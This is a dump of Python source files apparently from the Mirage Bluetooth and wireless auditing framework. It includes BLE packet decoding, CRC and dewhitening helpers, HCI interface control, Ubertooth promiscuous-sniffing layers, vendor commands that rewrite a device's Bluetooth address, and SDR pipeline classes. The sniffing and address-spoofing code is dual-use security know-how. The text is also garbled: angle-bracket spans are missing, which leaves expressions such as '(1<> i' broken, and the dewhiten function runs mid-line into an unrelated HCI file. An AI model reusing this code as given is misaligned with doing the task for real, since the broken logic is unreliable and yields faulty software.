"ADV_SCAN_IND" 88 | } 89 | 90 | # Enumeration for operation mode 91 | class BLEOperationMode: 92 | NORMAL = 0x0 93 | SCANNING = 0x1 94 | ADVERTISING = 0x2 95 | 96 | # Enumeration for sniffing mode 97 | class BLESniffingMode: 98 | ADVERTISEMENT = 0x0 99 | NEW_CONNECTION = 0x1 100 | EXISTING_CONNECTION = 0x2 101 | -------------------------------------------------------------------------------- /mirage/libs/ble_utils/decoders.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.common.sdr.decoders import SDRDecoder 2 | from mirage.libs.ble_utils.helpers import dewhiten,crc24 3 | 4 | class BLEDecoder(SDRDecoder): 5 | ''' 6 | Software Defined Radio decoder for Bluetooth Low Energy protocol. 7 | ''' 8 | def __init__(self,samplesPerSymbol=1,samplesBefore=60 , samplesAfter=60,crcChecking=True,channel=37,crcInit=0x555555): 9 | self.samplesPerSymbol = samplesPerSymbol 10 | self.samplesBefore = samplesBefore 11 | self.samplesAfter = samplesAfter 12 | self.crcChecking = crcChecking 13 | self.channel = channel 14 | self.crcInit = crcInit 15 | 16 | 17 | def setCRCChecking(self,enable=True): 18 | ''' 19 | This method enables CRC checking. 20 | 21 | :param enable: indicates if the CRC checking should be enabled or disabled 22 | :type enable: bool 23 | 24 | :Example: 25 | 26 | >>> decoder.setCRCChecking(True) 27 | 28 | ''' 29 | self.crcChecking = enable 30 | 31 | def setChannel(self,channel): 32 | ''' 33 | This method sets the channel used by the dewhitening algorithm. 34 | 35 | :param channel: channel to use 36 | :type channel: int 37 | 38 | :Example: 39 | 40 | >>> decoder.setChannel(37) 41 | 42 | ''' 43 | self.channel = channel 44 | 45 | 46 | def decode(self,demodulatedData,iqSamples): 47 | ''' 48 | This method implements the BLE decoding process and transforms a binary string into a BLE packet. 49 | 50 | :param demodulatedData: data to decode 51 | :type demodulatedData: str 52 | :param iqSamples: IQ samples corresponding with the demodulated data 53 | :type iqSamples: list of complex 54 | :return: tuple composed of the decoded data and the correspond IQ samples 55 | :rtype: (bytes, list of complex) 56 | ''' 57 | bytesData = bytes.fromhex(''.join(["{:02x}".format(int(demodulatedData[i:i+8][::-1],2)) for i in range(0, len(demodulatedData), 8)])) 58 | size = ((dewhiten(bytesData[4:],self.channel)[1]) & 0b00111111) 59 | dewhitenedData = dewhiten(bytesData[4:4+size+2+3],self.channel) 60 | packet = bytesData[:4] + dewhitenedData 61 | 62 | newIqSamples = iqSamples[:self.samplesBefore+self.samplesPerSymbol*(len(packet)*8)+self.samplesPerSymbol+self.samplesAfter] 63 | if not self.crcChecking: 64 | return (packet, newIqSamples) 65 | elif crc24(dewhitenedData[:-3], len(dewhitenedData[:-3]),self.crcInit)==(bytes(packet)[-3:]): 66 | return (packet, newIqSamples) 67 | else: 68 | return (None, None) 69 | -------------------------------------------------------------------------------- /mirage/libs/ble_utils/encoders.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.common.sdr.encoders import SDREncoder 2 | from mirage.libs.ble_utils.helpers import crc24,dewhiten 3 | class BLEEncoder(SDREncoder): 4 | ''' 5 | Software Defined Radio encoder for Bluetooth Low Energy protocol. 6 | ''' 7 | def __init__(self, channel=37, crcInit=0x555555): 8 | self.channel = channel 9 | self.crcInit = crcInit 10 | 11 | 12 | def setChannel(self,channel): 13 | ''' 14 | This method sets the channel used by the dewhitening algorithm. 15 | 16 | :param channel: channel to use 17 | :type channel: int 18 | 19 | :Example: 20 | 21 | >>> decoder.setChannel(37) 22 | 23 | ''' 24 | self.channel = channel 25 | 26 | def encode(self,data): 27 | crc = crc24(data[4:],len(data[4:]),self.crcInit) 28 | sequence = "".join([(("{:08b}".format(i))[::-1]) for i in b"\x55"+data[:4]+dewhiten(data[4:]+crc,self.channel)]) 29 | return sequence 30 | -------------------------------------------------------------------------------- /mirage/libs/ble_utils/helpers.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module provides some helpers in order to manipulate Bluetooth Low Energy link layer packets. 3 | ''' 4 | 5 | def frequencyToChannel(frequency): 6 | ''' 7 | This function converts a frequency to the corresponding BLE channel. 8 | 9 | :param frequency: frequency to convert (MHz) 10 | :type frequency: int 11 | :return: channel associated to the provided frequency 12 | :rtype: int 13 | 14 | :Example: 15 | 16 | >>> frequencyToChannel(2420) 17 | 8 18 | >>> frequencyToChannel(2402) 19 | 37 20 | 21 | ''' 22 | freqOffset = frequency - 2400 23 | if freqOffset == 2: 24 | channel = 37 25 | elif freqOffset == 26: 26 | channel = 38 27 | elif freqOffset == 80: 28 | channel = 39 29 | elif freqOffset < 24: 30 | channel = int((freqOffset / 2) - 2) 31 | else: 32 | channel = int((freqOffset / 2) - 3) 33 | 34 | return channel 35 | 36 | def channelToFrequency(channel): 37 | ''' 38 | This function converts a BLE channel to the corresponding frequency. 39 | 40 | :param channel: BLE channel to convert 41 | :type channel: int 42 | :return: corresponding frequency (MHz) 43 | :rtype: int 44 | 45 | :Example: 46 | 47 | >>> channelToFrequency(37) 48 | 2402 49 | >>> channelToFrequency(8) 50 | 2420 51 | 52 | ''' 53 | if channel == 37: 54 | freqOffset = 2 55 | elif channel == 38: 56 | freqOffset = 26 57 | elif channel == 39: 58 | freqOffset = 80 59 | elif channel < 11: 60 | freqOffset = 2*(channel+2) 61 | else: 62 | freqOffset = 2*(channel+3) 63 | return 2400 + freqOffset 64 | 65 | def _swapBits(value): 66 | return (value * 0x0202020202 & 0x010884422010) % 1023 67 | 68 | def crc24(data, length, init=0x555555): 69 | ''' 70 | This function calculates the 24 bits CRC corresponding to the data provided. 71 | 72 | :param data: packet's payload 73 | :type data: bytes 74 | :param length: length of data 75 | :type length: int 76 | :param init: initialization value 77 | :type init: int 78 | :return: 24 bits crc value 79 | :rtype: bytes 80 | 81 | :Example: 82 | 83 | >>> data=bytes.fromhex("0215110006000461ca0ce41b1e430559ac74e382667051") 84 | >>> crc24(data=data,length=len(data)).hex() 85 | '545d96' 86 | ''' 87 | ret = [(init >> 16) & 0xff, (init >> 8) & 0xff, init & 0xff] 88 | 89 | for d in data[:length]: 90 | for v in range(8): 91 | t = (ret[0] >> 7) & 1; 92 | 93 | ret[0] <<= 1 94 | if ret[1] & 0x80: 95 | ret[0] |= 1 96 | 97 | ret[1] <<= 1 98 | if ret[2] & 0x80: 99 | ret[1] |= 1 100 | 101 | ret[2] <<= 1 102 | 103 | if d & 1 != t: 104 | ret[2] ^= 0x5b 105 | ret[1] ^= 0x06 106 | 107 | d >>= 1 108 | 109 | ret[0] = _swapBits((ret[0] & 0xFF)) 110 | ret[1] = _swapBits((ret[1] & 0xFF)) 111 | ret[2] = _swapBits((ret[2] & 0xFF)) 112 | 113 | return bytes(ret) 114 | 115 | 116 | def isAccessAddressValid(aa): 117 | ''' 118 | This function checks if the provided access address is valid. 119 | 120 | :param aa: access address to validate 121 | :type aa: int 122 | :return: boolean indicating if the access address provided is valid 123 | :rtype: bool 124 | 125 | :Example: 126 | 127 | >>> isAccessAddressValid(0x870ac713) 128 | True 129 | >>> isAccessAddressValid(0xcc0bcc1a) 130 | False 131 | 132 | ''' 133 | a = (aa & 0xff000000)>>24 134 | b = (aa & 0x00ff0000)>>16 135 | c = (aa & 0x0000ff00)>>8 136 | d = (aa & 0x000000ff) 137 | if a==b and b==c and c==d: 138 | return False 139 | if (aa == 0x8E89BED6): 140 | return True 141 | bb = aa 142 | for i in range(0,26): 143 | if (bb & 0x3F) == 0 or (bb & 0x3F) == 0x3F: 144 | return False 145 | bb >>= 1 146 | bb = aa 147 | t = 0 148 | a = (bb & 0x80000000)>>31 149 | for i in range(30,0,-1): 150 | if (bb & (1<> i != a: 151 | a = (bb & (1<>i 152 | t += 1 153 | if t>24: 154 | return False 155 | if (i<26) and (t<2): 156 | return False 157 | return True 158 | 159 | def rssiToDbm(rssi): 160 | ''' 161 | This function converts a RSSI (Received Signal Strength Indication) to a value in Dbm. 162 | 163 | :param rssi: rssi to convert 164 | :type rssi: int 165 | :return: corresponding value in Dbm 166 | :rtype: float 167 | 168 | :Example: 169 | 170 | >>> rssiToDbm(12) 171 | -45.0 172 | >>> rssiToDbm(30) 173 | -28.8 174 | 175 | ''' 176 | if rssi < -48: 177 | return -120 178 | elif rssi <= -45: 179 | return 6*(rssi+28) 180 | elif rssi <= 30: 181 | return (99*(rssi - 62)/110) 182 | elif rssi <= 35: 183 | return (60*(rssi - 35) / 11) 184 | else: 185 | return 0 186 | 187 | 188 | def dewhiten(data,channel): 189 | ''' 190 | This function allows to dewhiten a given raw data according to the channel value. 191 | 192 | :param data: raw data to dewhiten 193 | :type data: bytes 194 | :param channel: channel number 195 | :type channel: int 196 | :return: dewhitened data 197 | :rtype: bytes 198 | ''' 199 | def _swap_bits(b): 200 | o = 0 201 | i = 0 202 | for i in range(8): 203 | o = o << 1 204 | o |= 1 if (b & (1< down`` 14 | 15 | :param index: index of the HCI interface to stop 16 | :type index: integer 17 | 18 | :Example: 19 | 20 | >>> HCIConfig.down(0) 21 | 22 | ''' 23 | 24 | try: 25 | sock = socket.socket(31, socket.SOCK_RAW, 1) 26 | ioctl(sock.fileno(), 0x400448ca, index) 27 | sock.close() 28 | except IOError: 29 | return False 30 | return True 31 | 32 | @staticmethod 33 | def reset(index): 34 | ''' 35 | This class method resets an HCI interface. 36 | Its role is equivalent to the following command : ``hciconfig hci reset`` 37 | 38 | :param index: index of the HCI interface to reset 39 | :type index: integer 40 | 41 | :Example: 42 | 43 | >>> HCIConfig.reset(0) 44 | 45 | ''' 46 | try: 47 | sock = socket.socket(31, socket.SOCK_RAW, index) 48 | ioctl(sock.fileno(), 0x400448cb, 0) 49 | sock.close() 50 | except IOError: 51 | return False 52 | return True 53 | 54 | @staticmethod 55 | def up(index): 56 | ''' 57 | This class method starts an HCI interface. 58 | Its role is equivalent to the following command : ``hciconfig hci up`` 59 | 60 | :param index: index of the HCI interface to start 61 | :type index: integer 62 | 63 | :Example: 64 | 65 | >>> HCIConfig.up(0) 66 | 67 | ''' 68 | try: 69 | sock = socket.socket(31, socket.SOCK_RAW, index) 70 | ioctl(sock.fileno(), 0x400448c9, 0) 71 | sock.close() 72 | except IOError: 73 | return False 74 | return True 75 | -------------------------------------------------------------------------------- /mirage/libs/bt_utils/scapy_ubertooth_layers.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from mirage.libs.bt_utils.constants import * 3 | ''' 4 | This module contains some scapy definitions for communicating with an Ubertooth device. 5 | ''' 6 | 7 | ACCESS_ADDRESS_SIZE = 4 8 | HEADER_SIZE = 2 9 | CRC_SIZE = 3 10 | 11 | 12 | class Ubertooth_Hdr(Packet): 13 | name = "Ubertooth header" 14 | fields_desc = [ 15 | ByteEnumField("packet_type", 0, UBERTOOTH_PACKET_TYPES), 16 | ByteField("status", None), 17 | ByteField("channel", None), 18 | ByteField("clkn_high",None), 19 | LEIntField("clk_100ns", None), 20 | SignedByteField("rssi_max", None), 21 | SignedByteField("rssi_min", None), 22 | SignedByteField("rssi_avg", None), 23 | ByteField("rssi_count", None), 24 | ShortField("unused",None) 25 | ] 26 | def pre_dissect(self,s): 27 | if s[0] == 0x01: 28 | size = struct.unpack('B',s[14:][5:6])[0] 29 | return s[0:14+size+ACCESS_ADDRESS_SIZE+HEADER_SIZE+CRC_SIZE] 30 | else: 31 | return s 32 | 33 | class BTLE_Promiscuous_Data(Packet): 34 | name = "BTLE Promiscuous Data" 35 | fields_desc = [ 36 | ByteEnumField("state",None,{0x00 : "access_address", 37 | 0x01 : "crc_init", 38 | 0x02 : "hop_interval", 39 | 0x03 : "hop_increment"}) 40 | ] 41 | 42 | class BTLE_Promiscuous_Access_Address(Packet): 43 | name = "BTLE Promiscuous Access Address" 44 | fields_desc = [XLEIntField("access_address",None)] 45 | 46 | class BTLE_Promiscuous_CRCInit(Packet): 47 | name = "BTLE Promiscuous CRCInit" 48 | fields_desc = [LEX3BytesField("crc_init",None)] 49 | 50 | class BTLE_Promiscuous_Hop_Interval(Packet): 51 | name = "BTLE Promiscuous Hop Interval" 52 | fields_desc = [LEShortField("hop_interval",None)] 53 | 54 | class BTLE_Promiscuous_Hop_Increment(Packet): 55 | name = "BTLE Promiscuous Hop Increment" 56 | fields_desc = [XByteField("hop_increment",None)] 57 | 58 | 59 | bind_layers(Ubertooth_Hdr, BTLE,packet_type=0x01) 60 | bind_layers(Ubertooth_Hdr, BTLE_Promiscuous_Data,packet_type=0x05) 61 | bind_layers(BTLE_Promiscuous_Data, BTLE_Promiscuous_Access_Address, state=0x00) 62 | bind_layers(BTLE_Promiscuous_Data, BTLE_Promiscuous_CRCInit, state=0x01) 63 | bind_layers(BTLE_Promiscuous_Data, BTLE_Promiscuous_Hop_Interval, state=0x02) 64 | bind_layers(BTLE_Promiscuous_Data, BTLE_Promiscuous_Hop_Increment, state=0x03) 65 | -------------------------------------------------------------------------------- /mirage/libs/bt_utils/scapy_vendor_specific.py: -------------------------------------------------------------------------------- 1 | from scapy.all import Packet 2 | from scapy.layers.bluetooth import * 3 | ''' 4 | This module contains some scapy definitions defining some vendor specific HCI packets in order to change the BD Address. 5 | ''' 6 | COMPATIBLE_VENDORS = [0,10,13,15,18,48,57] 7 | 8 | # Packets 9 | # Read Local Version Information, Command & Event 10 | 11 | class HCI_Cmd_Read_Local_Version_Information(Packet): 12 | name = "Read Local Version Information" 13 | 14 | class HCI_Cmd_Complete_Read_Local_Version_Information(Packet): 15 | name = "HCI Cmd Complete Read Local Version Information" 16 | fields_desc = [ByteEnumField("hci_version_number",0, { 0x0 : "1.0b", 17 | 0x1 : "1.1", 18 | 0x2 : "1.2", 19 | 0x3:"2.0", 20 | 0x4:"2.1", 21 | 0x5:"3.0", 22 | 0x6: "4.0", 23 | 0x7:"4.1", 24 | 0x8:"4.2", 25 | 0x9:"5.0"}), 26 | LEShortField("hci_revision", 0), 27 | ByteEnumField("lmp_version_number",0, { 0x0 : "1.0b", 28 | 0x1 : "1.1", 29 | 0x2 : "1.2", 30 | 0x3:"2.0", 31 | 0x4:"2.1", 32 | 0x5:"3.0", 33 | 0x6: "4.0", 34 | 0x7:"4.1", 35 | 0x8:"4.2", 36 | 0x9:"5.0"}), 37 | LEShortField("manufacturer", 0), 38 | LEShortField("lmp_subversion", 0)] 39 | 40 | 41 | # Vendors specific Commands to Write BD Address 42 | # Manufacturer : 13 43 | class HCI_Cmd_TI_Write_BD_Address(Packet): 44 | name = "TI Write BD Address" 45 | fields_desc = [LEMACField("addr","\x00\x01\x02\x03\x04\x05")] 46 | 47 | # Manufacturer : 15 48 | class HCI_Cmd_BCM_Write_BD_Address(Packet): 49 | name = "BCM Write BD Address" 50 | fields_desc = [LEMACField("addr","\x00\x01\x02\x03\x04\x05")] 51 | 52 | # Manufacturer : 18 53 | class HCI_Cmd_Zeevo_Write_BD_Address(Packet): 54 | name = "Zeevo Write BD Address" 55 | fields_desc = [LEMACField("addr","\x00\x01\x02\x03\x04\x05")] 56 | 57 | # Manufacturer : 0 or 57 58 | class HCI_Cmd_Ericsson_Write_BD_Address(Packet): 59 | name = "Ericsson Write BD Address" 60 | fields_desc = [LEMACField("addr","\x00\x01\x02\x03\x04\x05")] 61 | 62 | 63 | # Manufacturer : 10 ... WTF ? 64 | class HCI_Cmd_CSR_Write_BD_Address(Packet): 65 | name = "CSR Write BD Address" 66 | fields_desc = [LEMACField("addr","\x00\x01\x02\x03\x04\x05")] 67 | def post_build(self,p,pay): 68 | payload = bytearray(b"\xc2\x02\x00\x0c\x00\x11G\x03p\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") 69 | 70 | payload[17] = p[2] 71 | payload[19] = p[0] 72 | payload[20] = p[1] 73 | payload[21] = p[3] 74 | payload[23] = p[4] 75 | payload[24] = p[5] 76 | 77 | return payload 78 | 79 | class HCI_Cmd_CSR_Reset(Packet): 80 | name = "CSR Write BD Address" 81 | fields_desc = [StrField("bytes",b"\xc2\x02\x00\t\x00\x00\x00\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")] 82 | 83 | 84 | 85 | # Manufacturer : 48 86 | class HCI_Cmd_ST_Write_BD_Address(Packet): 87 | name = "ST Write BD Address" 88 | fields_desc = [ ByteField("user_id", 0xfe), 89 | ByteField("data_len",0x06), 90 | LEMACField("addr","\x00\x01\x02\x03\x04\x05"), 91 | StrField("padding","\x00"*247)] 92 | 93 | 94 | # Bind it to layers 95 | bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Local_Version_Information, opcode=0x1001) 96 | bind_layers(HCI_Event_Command_Complete, HCI_Cmd_Complete_Read_Local_Version_Information, opcode=0x1001) 97 | 98 | bind_layers(HCI_Command_Hdr, HCI_Cmd_ST_Write_BD_Address, opcode=0xfc22) 99 | bind_layers(HCI_Command_Hdr, HCI_Cmd_Zeevo_Write_BD_Address, opcode=0xfc01) 100 | bind_layers(HCI_Command_Hdr, HCI_Cmd_TI_Write_BD_Address, opcode=0xfc06) 101 | bind_layers(HCI_Command_Hdr, HCI_Cmd_Ericsson_Write_BD_Address, opcode=0xfc0d) 102 | bind_layers(HCI_Command_Hdr, HCI_Cmd_BCM_Write_BD_Address, opcode=0xfc01) 103 | bind_layers(HCI_Command_Hdr, HCI_Cmd_CSR_Write_BD_Address, opcode=0xfc00) 104 | bind_layers(HCI_Command_Hdr, HCI_Cmd_CSR_Reset, opcode=0xfc00) 105 | 106 | 107 | -------------------------------------------------------------------------------- /mirage/libs/bt_utils/ubertooth.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.bt_utils.scapy_ubertooth_layers import * 2 | from mirage.libs import io,wireless,utils 3 | from threading import Lock 4 | import usb.core,usb.util,struct,array 5 | from fcntl import ioctl 6 | 7 | class BtUbertoothDevice(wireless.Device): 8 | ''' 9 | This device allows to communicate with an Ubertooth Device in order to use Bluetooth protocol. 10 | The corresponding interfaces are : ``ubertoothX`` (e.g. "ubertooth0") 11 | 12 | .. warning:: 13 | Please note that this implementation is actually incomplete in order to sniff the Bluetooth protocol. Actually, it can only be used in Bluetooth Low Energy mode (``mirage.libs.ble_utils.ubertooth.BLEUbertoothDevice``) 14 | 15 | ''' 16 | @classmethod 17 | def resetUbertooth(cls,index=0): 18 | ''' 19 | This class method allows to reset the Ubertooth, by providing the device's index. 20 | 21 | :param index: device's index 22 | :type index: int 23 | :return: boolean indicating if the reset operation was successful 24 | :rtype: bool 25 | 26 | :Example: 27 | 28 | >>> BtUbertoothDevice.resetUbertooth(0) 29 | True 30 | 31 | ''' 32 | try: 33 | device = list(usb.core.find(idVendor=UBERTOOTH_ID_VENDOR,idProduct=UBERTOOTH_ID_PRODUCT,find_all=True))[index] 34 | bus = str(device.bus).zfill(3) 35 | addr = str(device.address).zfill(3) 36 | filename = "/dev/bus/usb/"+bus+"/"+addr 37 | 38 | ioctl(open(filename,"w"),USBDEVFS_RESET,0) 39 | device.ctrl_transfer(CTRL_OUT,UBERTOOTH_RESET,0, 0) 40 | utils.wait(seconds=1) 41 | 42 | return True 43 | 44 | except (IOError,IndexError): 45 | io.fail("Unable to reset ubertooth device : #"+str(index)) 46 | 47 | return False 48 | 49 | def __init__(self,interface): 50 | super().__init__(interface=interface) 51 | self.initializeBluetooth = True 52 | 53 | def getMode(self): 54 | ''' 55 | This method returns the mode actually in use in the current Ubertooth Device ("Bt" or "BLE") 56 | 57 | :return: string indicating the mode 58 | :rtype: str 59 | 60 | :Example: 61 | 62 | >>> device.getMode() 63 | "Bt" 64 | 65 | ''' 66 | return "Bt" 67 | 68 | def _getModulation(self): 69 | modulation = self.ubertooth.ctrl_transfer(CTRL_IN,UBERTOOTH_GET_MOD,0, 0,1) 70 | modulation = struct.unpack('b',modulation)[0] 71 | return modulation 72 | 73 | def _setModulation(self,modulation=MOD_BT_LOW_ENERGY): 74 | self.ubertooth.ctrl_transfer(CTRL_OUT,UBERTOOTH_SET_MOD,modulation, 0) 75 | 76 | def _getSerial(self): 77 | serial = self.ubertooth.ctrl_transfer(CTRL_IN,UBERTOOTH_GET_SERIAL,0, 0,17) 78 | result = struct.unpack('B',serial[0:1])[0] 79 | serial = struct.unpack('>4i',serial[1:]) 80 | serial = ''.join([format(i,'x') for i in serial]) 81 | return serial 82 | 83 | def _setCRCChecking(self, enable=True): 84 | self.ubertooth.ctrl_transfer(CTRL_OUT,UBERTOOTH_SET_CRC_VERIFY,(1 if enable else 0), 0) 85 | 86 | def _resetClock(self): 87 | data = array.array("B", [0, 0, 0, 0, 0, 0]) 88 | self.ubertooth.ctrl_transfer(CTRL_OUT,UBERTOOTH_SET_CLOCK,0,0,data) 89 | 90 | def _stop(self): 91 | self.ubertooth.ctrl_transfer(CTRL_OUT,UBERTOOTH_STOP,0, 0) 92 | 93 | def _reset(self): 94 | self.ubertooth.ctrl_transfer(CTRL_OUT,UBERTOOTH_RESET,0, 0) 95 | 96 | def close(self): 97 | try: 98 | self._stop() 99 | self._reset() 100 | except: 101 | pass 102 | 103 | def getFirmwareVersion(self): 104 | ''' 105 | This method returns the firmware version in use in the current Ubertooth device. 106 | 107 | :return: firmware version 108 | :rtype: str 109 | 110 | :Example: 111 | 112 | >>> device.getFirmwareVersion() 113 | '1.6' 114 | 115 | ''' 116 | return self.version 117 | 118 | def getDeviceIndex(self): 119 | ''' 120 | This method returns the index of the current Ubertooth device. 121 | 122 | :return: device's index 123 | :rtype: int 124 | 125 | :Example: 126 | 127 | >>> device.getDeviceIndex() 128 | 0 129 | 130 | ''' 131 | return self.index 132 | 133 | def _initBT(self): 134 | pass 135 | 136 | def isUp(self): 137 | return self.ready 138 | 139 | 140 | def init(self): 141 | self.ready = False 142 | self.ubertooth = None 143 | if self.interface == "ubertooth": 144 | self.index = 0 145 | else: 146 | self.index = int(self.interface.split("ubertooth")[1]) 147 | #try: 148 | BtUbertoothDevice.resetUbertooth(self.index) 149 | try: 150 | self.ubertooth = list( 151 | usb.core.find(idVendor=UBERTOOTH_ID_VENDOR, idProduct=UBERTOOTH_ID_PRODUCT, find_all=True) 152 | )[self.index] 153 | 154 | self.version = '{0:x}.{1:x}'.format((self.ubertooth.bcdDevice >> 8) & 0x0FF,self.ubertooth.bcdDevice & 0x0FF) 155 | except: 156 | self.ubertooth = None 157 | if self.ubertooth is not None: 158 | #self.ubertooth.default_timeout = 2000 159 | self.ubertooth.set_configuration() 160 | 161 | self.lock = Lock() 162 | if self.initializeBluetooth: 163 | self._initBT() 164 | self.ready = True 165 | #except: 166 | #self.ubertooth = None 167 | -------------------------------------------------------------------------------- /mirage/libs/common/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/common/__init__.py -------------------------------------------------------------------------------- /mirage/libs/common/sdr/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/common/sdr/__init__.py -------------------------------------------------------------------------------- /mirage/libs/common/sdr/decoders.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This component implements the Software Defined Radios Decoders. 3 | ''' 4 | 5 | class SDRDecoder: 6 | ''' 7 | This class implements a simple Sofware Defined Radio decoder. 8 | An decoder is used to convert a binary string into a packet or a sequence of bytes. 9 | Every decoder must inherit from this class and implement the ``decode`` method. 10 | 11 | ''' 12 | def decode(self,demodulatedData,iqSamples): 13 | ''' 14 | This method implements the decoding process and transforms a binary string into a packet or a sequence of bytes. 15 | 16 | :param demodulatedData: data to decode 17 | :type demodulatedData: str 18 | :param iqSamples: IQ samples corresponding with the demodulated data 19 | :type iqSamples: list of complex 20 | :return: tuple composed of the decoded data and the correspond IQ samples 21 | :rtype: (bytes, list of complex) 22 | ''' 23 | data = bytes.fromhex("".join(["{:02x}".format(j) for j in [int(demodulatedData[i:i+8],2) for i in range(0,len(demodulatedData),8)]])) 24 | return (data,iqSamples) 25 | -------------------------------------------------------------------------------- /mirage/libs/common/sdr/encoders.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This component implements the Software Defined Radios Encoders. 3 | ''' 4 | 5 | class SDREncoder: 6 | ''' 7 | This class implements a simple Sofware Defined Radio encoder. 8 | An encoder is used to convert a packet data or a sequence of bytes into a binary string. 9 | Every encoder must inherit from this class and implement the ``encode`` method. 10 | 11 | ''' 12 | 13 | def encode(self,data): 14 | ''' 15 | This method implements the encoding process and transforms a sequence of bytes into a binary string. 16 | 17 | :param data: data to encode 18 | :type data: bytes 19 | :return: binary string 20 | :rtype: str 21 | ''' 22 | return "".join(["{:08b}".format(i) for i in data]) 23 | -------------------------------------------------------------------------------- /mirage/libs/common/sdr/pipeline.py: -------------------------------------------------------------------------------- 1 | from mirage.libs.common.sdr.decoders import SDRDecoder 2 | from mirage.libs.common.sdr.encoders import SDREncoder 3 | from mirage.libs import utils 4 | ''' 5 | This component implements the SDR Pipeline. 6 | ''' 7 | 8 | class SDRPipeline: 9 | ''' 10 | This class implements a Software Defined Radio pipeline, allowing to connect multiple SDR blocks together to manipulate an IQ stream. 11 | 12 | * A pipeline can be used to demodulate and decode an IQ stream provided by a ``SDRSource``: in this case, the pipeline is composed of a ``SDRSource``, a ``SDRDemodulator`` and a ``SDRDecoder``. 13 | * A pipeline can be used to encode and modulate an IQ stream transmitted to a ``SDRSink``: in this case, the pipeline is composed of a ``SDREncoder``, z ``SDRModulator`` and a ``SDRSink``. 14 | 15 | The ">>" operator is overloaded to simplify the connection between blocks. As an example, you can build a pipeline automatically using the following syntax: 16 | 17 | :Example: 18 | 19 | >>> rxPipeline = source >> demodulator >> decoder 20 | >>> txPipeline = sink << modulator << encoder 21 | 22 | ''' 23 | def __init__(self, source=None, demodulator=None, sink = None, modulator = None): 24 | self.source = source 25 | self.demodulator = demodulator 26 | self.sink = sink 27 | self.modulator = modulator 28 | self.started = False 29 | 30 | def __rshift__(self, decoder): 31 | if isinstance(decoder, SDRDecoder): 32 | if self.demodulator is not None: 33 | self.demodulator.addDecoder(decoder) 34 | return self 35 | 36 | def __lshift__(self, encoder): 37 | if isinstance(encoder, SDREncoder): 38 | if self.modulator is not None: 39 | self.modulator.addEncoder(encoder) 40 | return self 41 | 42 | def __del__(self): 43 | self.stop() 44 | 45 | def getSource(self): 46 | ''' 47 | This method returns the source connected to the pipeline (if any). 48 | 49 | :return: pipeline source 50 | :rtype: ``SDRSource`` 51 | 52 | ''' 53 | return self.source 54 | 55 | def updateDemodulator(self,demodulator): 56 | ''' 57 | This method replaces the current demodulator by the provided one. 58 | 59 | :param demodulator: New demodulator to use 60 | :type demodulator: ``SDRDemodulator`` 61 | 62 | ''' 63 | self.demodulator.stop() 64 | decoders = self.demodulator.getDecoders() 65 | self.demodulator = demodulator 66 | self.demodulator.setSource(self.source) 67 | for decoder in decoders: 68 | self.demodulator.addDecoder(decoder) 69 | self.demodulator.start() 70 | 71 | def getDemodulator(self): 72 | ''' 73 | This method returns the demodulator connected to the pipeline (if any). 74 | 75 | :return: pipeline demodulator 76 | :rtype: ``SDRDemodulator`` 77 | 78 | ''' 79 | 80 | return self.demodulator 81 | 82 | def getOutput(self): 83 | ''' 84 | This method returns the demodulator's output . 85 | 86 | :return: tuple of demodulated data and the corresponding IQ Samples 87 | :rtype: (bytes, list of complex) 88 | 89 | ''' 90 | return self.demodulator.getOutput() 91 | 92 | def setInput(self,data): 93 | ''' 94 | This method sets the modulator's input. 95 | 96 | :param data: bytes to transmit 97 | :type data: bytes 98 | 99 | ''' 100 | self.modulator.setInput(data) 101 | 102 | def getSink(self): 103 | ''' 104 | This method returns the sink connected to the pipeline (if any). 105 | 106 | :return: pipeline sink 107 | :rtype: ``SDRSink`` 108 | 109 | ''' 110 | return self.sink 111 | 112 | def getModulator(self): 113 | ''' 114 | This method returns the modulator connected to the pipeline (if any). 115 | 116 | :return: pipeline modulator 117 | :rtype: ``SDRModulator`` 118 | 119 | ''' 120 | return self.modulator 121 | 122 | def isStarted(self): 123 | ''' 124 | This method returns a boolean indicating if the pipeline is started. 125 | 126 | :return: boolean indicating if the pipeline is started 127 | :rtype: bool 128 | 129 | ''' 130 | 131 | return self.started 132 | 133 | def start(self): 134 | ''' 135 | This method starts the pipeline. 136 | 137 | :Example: 138 | 139 | >>> pipeline.start() 140 | 141 | ''' 142 | if self.source is not None: 143 | if not self.source.running: 144 | self.source.startStreaming() 145 | while not self.source.running: 146 | utils.wait(seconds=0.01) 147 | if not self.demodulator.running: 148 | self.demodulator.start() 149 | elif self.sink is not None: 150 | if not self.sink.running: 151 | self.sink.startStreaming() 152 | if not self.modulator.running: 153 | self.modulator.start() 154 | self.started = True 155 | 156 | def stop(self): 157 | ''' 158 | This method stops the pipeline. 159 | 160 | :Example: 161 | 162 | >>> pipeline.stop() 163 | 164 | ''' 165 | if self.source is not None: 166 | if self.source.running: 167 | self.source.stopStreaming() 168 | if self.demodulator.running: 169 | self.demodulator.stop() 170 | elif self.sink is not None: 171 | if self.sink.running: 172 | self.sink.stopStreaming() 173 | if self.modulator.running: 174 | self.modulator.stop() 175 | self.started = False 176 | -------------------------------------------------------------------------------- /mirage/libs/esb_utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RCayre/mirage/b6cd39eb779a94a11ebf9f7cba4e77435d885434/mirage/libs/esb_utils/__init__.py -------------------------------------------------------------------------------- /mirage/libs/esb_utils/constants.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module contains some constants that are used by the Enhanced ShockBurst stack. 3 | ''' 4 | 5 | # USB device Identifiers 6 | NRF24_ID_VENDOR = 0x1915 7 | NRF24_ID_PRODUCT = 0x0102 8 | 9 | # USB device reset 10 | USBDEVFS_RESET = ord('U') << (4 * 2) | 20 11 | 12 | # USB Endpoints 13 | NRF24_COMMAND_ENDPOINT = 0x01 14 